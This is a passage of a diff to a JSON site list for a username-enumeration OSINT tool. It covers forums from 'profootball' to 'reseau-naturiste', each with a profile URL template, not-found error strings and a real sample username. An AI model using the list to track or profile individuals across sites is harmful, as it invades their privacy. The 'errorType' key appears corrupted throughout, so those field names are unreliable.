"headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_profile_astro": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://profile.astro-seek.com/{}", + "urlMain": "https://profile.astro-seek.com", + "usernameON": "sduraybito", + "bad_site": "" + }, + "Forum_profootball": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.profootballforums.com/members/?username={}", + "urlMain": "https://www.profootballforums.com", + "usernameON": "rowdy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_progagarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://progagarin.ru/index/8-0-{}", + "urlMain": "http://progagarin.ru", + "usernameON": "Pol", + "bad_site": "" + }, + "Forum_prohashing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.prohashing.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.prohashing.com", + "usernameON": "lewishamilton", + "bad_site": "" + }, + "Forum_project-ss": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://project-ss.ru/index/8-0-{}", + "urlMain": "http://project-ss.ru", + "usernameON": "oleg1980nik", + "comments": "bad", + "bad_site": 1 + }, + "Forum_projectpokemon": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://projectpokemon.org/home/search/?q={}&quick=1&type=core_members", + "urlMain": "https://projectpokemon.org", + "usernameON": "insanenutter", + "bad_site": "" + }, + "Forum_prokireevsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://prokireevsk.ru/index/8-0-{}", + "urlMain": "http://prokireevsk.ru", + "usernameON": "WILDKATbjr", + "bad_site": "" + }, + "Forum_pron": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pron.my1.ru/index/8-0-{}", + "urlMain": "http://pron.my1.ru/", + "usernameON": "Belryelug", + "bad_site": "" + }, + "Forum_propisnoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prostoljud.my1.ru/index/8-0-{}", + "urlMain": "https://prostoljud.my1.ru", + "usernameON": "biblicalstudiesru", + "bad_site": "" + }, + "Forum_proxmox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.proxmox.com/members/?username={}", + "urlMain": "https://forum.proxmox.com", + "usernameON": "emunt6", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pskovchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.pskovchess.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pskovchess.ru", + "usernameON": "shakh", + "bad_site": "" + }, + "Forum_psp-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp-club.ucoz.net/index/8-0-{}", + "urlMain": "https://psp-club.ucoz.net", + "usernameON": "swp", + "bad_site": "" + }, + "Forum_psp1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp1.do.am/index/8-0-{}", + "urlMain": "https://psp1.do.am", + "usernameON": "serg2037", + "bad_site": "" + }, + "Forum_psx-core": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psx-core.ru/index/8-0-{}", + "urlMain": "https://psx-core.ru", + "usernameON": "pvc1", + "bad_site": "" + }, + "Forum_psxworld": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://psxworld.ru/index/8-0-{}", + "urlMain": "http://psxworld.ru", + "usernameON": "majerock", + "bad_site": "" + }, + "Forum_psy-dv_org": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psy-dv.org/index/8-0-{}", + "urlMain": "https://psy-dv.org", + "usernameON": "Michael", + "bad_site": "" + }, + "Forum_psych": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.psychforums.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.psychforums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_psyche": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "возникла проблема", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://psyche.guru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://psyche.guru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_psychobike": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.psychobike.com/members/?username={}", + "urlMain": "https://www.psychobike.com", + "usernameON": "streetfighterz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_psystan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.psystan.ru/index/8-0-{}", + "urlMain": "http://www.psystan.ru", + "usernameON": "Olsestar", + "bad_site": "" + }, + "Forum_pt_at": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pt.at.ua/index/8-0-{}", + "urlMain": "https://pt.at.ua/", + "usernameON": "novator197726", + "bad_site": "" + }, + "Forum_punkgazetka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>http://forum.quake2.com.ru :: ", + "errorTyp��": "message", + "url": "https://forum.quake2.com.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.quake2.com.ru/", + "usernameON": "Khidalov", + "bad_site": "" + }, + "Forum_quakeworld": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "not return any result. ", + "errorMsg2": "div class=\"table\" style=\"margin-bottom", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.quakeworld.nu/profiles/?u={}", + "urlMain": "https://www.quakeworld.nu", + "usernameON": "renzo", + "bad_site": "" + }, + "Forum_questionablequesting": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.questionablequesting.com/members/?username={}", + "urlMain": "https://forum.questionablequesting.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_quik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Кудряшов", + "errorMsg2": "указан код пользователя", + "errorTyp��": "message", + "url": "https://forum.quik.ru/user/{}/", + "urlMain": "https://forum.quik.ru", + "usernameON": "swerg", + "comments": "super", + "bad_site": 1 + }, + "Forum_r1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r1-forum.com/members/?username={}", + "urlMain": "https://www.r1-forum.com", + "usernameON": "rabbit671", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r3": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r3-forums.com/members/?username={}", + "urlMain": "https://www.r3-forums.com", + "usernameON": "renboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r4n": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "сообщений не найдено", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://r4n.su/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "http://r4n.su", + "usernameON": "43Radio43", + "bad_site": "" + }, + "Forum_r4u": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://r4u.ucoz.net/index/8-0-{}", + "urlMain": "https://r4u.ucoz.net", + "usernameON": "adqeep", + "bad_site": "" + }, + "Forum_r6": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r6-forum.com/members/?username={}", + "urlMain": "https://www.r6-forum.com", + "usernameON": "tylerjones997", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r8talk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r8talk.com/members/?username={}", + "urlMain": "https://www.r8talk.com", + "usernameON": "stevekcropper", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ra1afe": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ra1afe.ucoz.ru/index/8-0-{}", + "urlMain": "https://ra1afe.ucoz.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_ra4a": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ra4a.ru/index/8-0-{}", + "urlMain": "http://ra4a.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_rabbitdogs": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rabbitdogs.net/members/?username={}", + "urlMain": "https://www.rabbitdogs.net", + "usernameON": "bigk", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_racefans": { + "country": "🇬🇧", + "country_klas": "GB", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "You've crashed", + "errorMsg2": "One moment", + "errorTyp��": "message", + "url": "https://www.racefans.net/members/{}/", + "urlMain": "https://www.racefans.net", + "usernameON": "douglaswebster", + "bad_site": "" + }, + "Forum_racer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://racer.do.am/index/8-0-{}", + "urlMain": "https://racer.do.am", + "usernameON": "Jessika", + "bad_site": "" + }, + "Forum_racketboy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.racketboy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.racketboy.com", + "usernameON": "Limewater", + "bad_site": "" + }, + "Forum_radio1": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.radiodom.org/index/8-0-{}", + "urlMain": "http://www.radiodom.org", + "usernameON": "Andrew", + "bad_site": "" + }, + "Forum_radiotehnik72": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://radiotehnik72.ucoz.ru/index/8-0-{}", + "urlMain": "https://radiotehnik72.ucoz.ru", + "usernameON": "akhmalik72", + "bad_site": "" + }, + "Forum_rainbowhappy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://rainbowhappy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rainbowhappy.ucoz.ru", + "usernameON": "FrankMate", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rainmeter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rainmeter.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.rainmeter.net", + "usernameON": "Jeff", + "bad_site": "" + }, + "Forum_rakesh-jhunjhunwala": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rakesh-jhunjhunwala.in/forum/members/?username={}", + "urlMain": "https://rakesh-jhunjhunwala.in", + "usernameON": "arjun", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_raks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://raks.com.ua/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://raks.com.ua", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_rakursy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rakursy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rakursy.ucoz.ru", + "usernameON": "Schoroch", + "bad_site": "" + }, + "Forum_rakwireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rakwireless.com/u/{}/summary", + "urlMain": "https://forum.rakwireless.com", + "usernameON": "hobo", + "bad_site": "" + }, + "Forum_ram1500diesel": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ram1500diesel.com/members/?username={}", + "urlMain": "https://www.ram1500diesel.com", + "usernameON": "kazimodo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ramenskoe1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ramenskoe1.ucoz.ru/index/8-0-{}", + "urlMain": "https://ramenskoe1.ucoz.ru", + "usernameON": "gorodisskyru", + "bad_site": "" + }, + "Forum_ranobes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Just a moment", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.ranobes.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.ranobes.com", + "comments": "cf", + "usernameON": "Jaeri", + "bad_site": "" + }, + "Forum_rarib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "DDOS-GUARD</title", + "errorMsg2": "Информация", + "errorMsg3": "технические работы", + "errorTyp��": "message", + "url": "https://forum.rarib.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Поиск", + "urlMain": "https://forum.rarib.ag", + "usernameON": "kokky", + "bad_site": "" + }, + "Forum_rasmircoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rasmircoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://rasmircoins.ucoz.ru/", + "usernameON": "Faghouri", + "bad_site": "" + }, + "Forum_raspberrypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://forums.raspberrypi.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.raspberrypi.com", + "usernameON": "adam", + "comments": "cf", + "ignore_status_code": true, + "bad_site": "" + }, + "Forum_ratsun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ratsun.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ratsun.net", + "usernameON": "datzenmike", + "bad_site": "" + }, + "Forum_ravnovesie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ravnovesie.ucoz.net/index/8-0-{}", + "urlMain": "https://ravnovesie.ucoz.net", + "usernameON": "Светлана", + "bad_site": "" + }, + "Forum_ray": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://discuss.ray.io/u/{}/summary", + "urlMain": "https://discuss.ray.io", + "usernameON": "Lacruche", + "bad_site": "" + }, + "Forum_rayven": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rayven.at.ua/index/8-0-{}", + "urlMain": "https://rayven.at.ua/", + "usernameON": "rayven", + "bad_site": "" + }, + "Forum_raznoe-vse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://raznoe-vse.ucoz.ru/index/8-0-{}", + "urlMain": "https://raznoe-vse.ucoz.ru", + "usernameON": "egorsmirnowv", + "bad_site": "" + }, + "Forum_razrab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://razrab.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://razrab.ru", + "usernameON": "ibev", + "bad_site": "" + }, + "Forum_razvilka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rbk-portal.3dn.ru/index/8-0-{}", + "urlMain": "https://rbk-portal.3dn.ru", + "usernameON": "BeLoNe", + "bad_site": "" + }, + "Forum_rclone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org", + "usernameON": "Alexander_Andriishin", + "bad_site": "" + }, + "Forum_rcuniverse": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rcuniverse.com/forum/members/{}.html", + "urlMain": "https://www.rcuniverse.com", + "usernameON": "yuriy19", + "bad_site": "" + }, + "Forum_rdr2": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.rdr2.org/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rdr2.org", + "usernameON": "Parzival", + "bad_site": "" + }, + "Forum_rdw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://rdw.ucoz.ru/index/8-0-{}", + "urlMain": "https://rdw.ucoz.ru", + "usernameON": "jabbarhuusaincs", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_real-sp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://real-sp.ucoz.com/index/8-0-{}", + "urlMain": "https://real-sp.ucoz.com", + "usernameON": "Yuriysap", + "bad_site": "" + }, + "Forum_realistzoosafety": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "banned", + "errorTyp��": "message", + "url": "https://forum.realsurf.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.realsurf.com", + "usernameON": "admin", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_rebkell": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://boards.rebkell.net/profile.php?mode=viewprofile&u={}", + "urlMain": "https://boards.rebkell.net", + "usernameON": "rebkell", + "bad_site": "" + }, + "Forum_rebornbuddy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://rebornbuddy.com/xf/members/?username={}", + "urlMain": "https://rebornbuddy.com/", + "usernameON": "tony", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_recoveryRU": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://region13.ucoz.ru/index/8-0-{}", + "urlMain": "https://region13.ucoz.ru", + "usernameON": "VVS15081", + "bad_site": "" + }, + "Forum_reiki-healing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://reiki-healing-l.org/index/8-0-{}", + "urlMain": "http://reiki-healing-l.org", + "usernameON": "YaIrina1993", + "bad_site": "" + }, + "Forum_reklama-kiev": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://reklama-kiev.at.ua/index/8-0-{}", + "urlMain": "https://reklama-kiev.at.ua", + "usernameON": "dsgvolia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_relationlibre": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://relationlibre.com/participant/{}/", + "urlMain": "https://relationlibre.com", + "usernameON": "laeti", + "bad_site": "" + }, + "Forum_relax-kei": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://relax-kei.ucoz.ru/index/8-0-{}", + "urlMain": "https://relax-kei.ucoz.ru", + "usernameON": "ztaletnted", + "bad_site": "" + }, + "Forum_religion": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun membre trouvé pour ce critère de recherche", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum-religion.org/memberlist.php?username={}", + "urlMain": "https://forum-religion.org", + "usernameON": "Georges86", + "bad_site": "" + }, + "Forum_religion_s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://religion.ucoz.ru/index/8-0-{}", + "urlMain": "https://religion.ucoz.ru", + "usernameON": "ArthurHip", + "bad_site": "" + }, + "Forum_rem-tv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rem-tv.at.ua/index/8-0-{}", + "urlMain": "https://rem-tv.at.ua", + "usernameON": "fanttom", + "bad_site": "" + }, + "Forum_remont-lipetsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remont-lipetsk.3dn.ru/index/8-0-{}", + "urlMain": "https://remont-lipetsk.3dn.ru", + "usernameON": "mattmabwerce", + "bad_site": "" + }, + "Forum_remsanteh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://remsanteh.borda.ru/?32-{}", + "urlMain": "https://remsanteh.borda.ru", + "usernameON": "aleyusha", + "bad_site": "" + }, + "Forum_remzona-ekb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remzona-ekb.ucoz.ru/index/8-0-{}", + "urlMain": "https://remzona-ekb.ucoz.ru", + "usernameON": "REMZONA", + "bad_site": "" + }, + "Forum_render_otoy": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Sorry, ", + "errorMsg3": "banned from this board", + "errorTyp��": "message", + "url": "https://render.otoy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://render.otoy.com/", + "usernameON": "grazieromi", + "bad_site": "" + }, + "Forum_repolitics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://repolitics.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://repolitics.com", + "usernameON": "Zeitgeist", + "bad_site": "" + }, + "Forum_reptile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не выбран", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.reptile.ru/forum/member.php?action=viewpro&member={}", + "urlMain": "https://www.reptile.ru", + "usernameON": "Zoofond", + "bad_site": "" + }, + "Forum_reptileforums": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.reptileforums.co.uk/members/?username={}", + "urlMain": "https://www.reptileforums.co.uk", + "usernameON": "malc", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_res-publica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://res-publica.ucoz.org/index/8-0-{}", + "urlMain": "https://res-publica.ucoz.org", + "usernameON": "PUBLIUS", + "bad_site": "" + }, + "Forum_reseau-js": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "0 résultat", + "errorMsg2": "Veuillez patienter", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.reseau-js.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.reseau-js.com", + "usernameON": "loup", + "bad_site": "" + }, + "Forum_reseau-naturiste": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": 